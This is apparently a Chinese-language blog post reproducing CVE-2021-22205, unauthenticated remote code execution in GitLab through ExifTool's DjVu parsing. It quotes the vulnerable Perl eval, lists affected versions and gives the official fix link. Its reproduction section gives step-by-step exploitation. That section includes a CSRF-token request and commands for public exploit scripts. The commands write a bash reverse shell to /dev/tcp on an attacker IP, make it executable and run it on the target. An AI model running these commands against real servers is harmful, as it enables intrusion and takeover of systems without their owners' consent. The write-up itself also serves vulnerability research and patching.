CVE-2021-22205 GitLab未授权RCE复现

文章最后更新时间为:2021年11月18日 14:58:47

1. 漏洞描述和原理

当GitLab中的ExifTool处理图像文件时,会检查文件扩展名是否为jpg、jpeg、tiff,符合条件的文件会交由ExifTool进行处理。但ExifTool会尝试通过文件内容确定文件格式,当其解析DjVu文件注释时,tok将被转换为 C 转义序列。攻击者可以在DjVu文件中插入恶意perl代码,并将其扩展名改为jpg、jpeg或tiffd以绕过GitLab中的检查,从而在ExifTool中触发漏洞,最终在GitLab CE/EE服务器上远程执行代码。

此漏洞源于Exiftool自身的另一个漏洞CVE-2021-22204。

在ExifTool的DjVu模块的ParseAnt方法中使用了$tok = eval qq{"$tok"};

#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

在特殊情况下,这个tok参数是从图像中获取到的,于是我们可以造出这么一个图像,插入代码,实现rce。但是具体图像怎么生成,可以参考文章:https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

利用CVE-2021-22204,我们可以在上传图片的接口实现rce,但是上传图片需要授权,也就是需要注册成一个用户。而CVE-2021-22205就是解决了授权问题,gitlab为了支持电子邮件中图片的显示,图片的上传和显示是不需要授权的,也就是利用/uploads/user接口上传图片,无需授权。

2. 影响版本

11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

3. 漏洞复现

首先访问登录页面,获取Cookiecsrf-token

GET /users/sign_in HTTP/1.1
Host: git.xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2021-11-18T05:26:55.png

然后上传制造好的图片,实现rce

2021-11-18T05:38:45.png

2021-11-18T05:50:26.png

反弹shell:

使用了 https://github.com/Seals6/CVE-2021-22205

python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口

2021-11-18T06:52:14.png

也可以使用 https://github.com/Al1ex/CVE-2021-22205

python3 CVE-2021-22205.py -a true -t https://git.xxx.com -c "echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1' > /tmp/abc.sh"

python3 CVE-2021-22205.py -a true -t https://git.xxx.com -c "chmod +x /tmp/abc.sh"

python3 CVE-2021-22205.py -a true -t https://git.xxx.com -c "/bin/bash /tmp/abc.sh"

4. 漏洞修复

目前GitLab官方已发布修复版本:https://about.gitlab.com/update/

5. 参考

1 + 5 =
快来做第一个评论的人吧~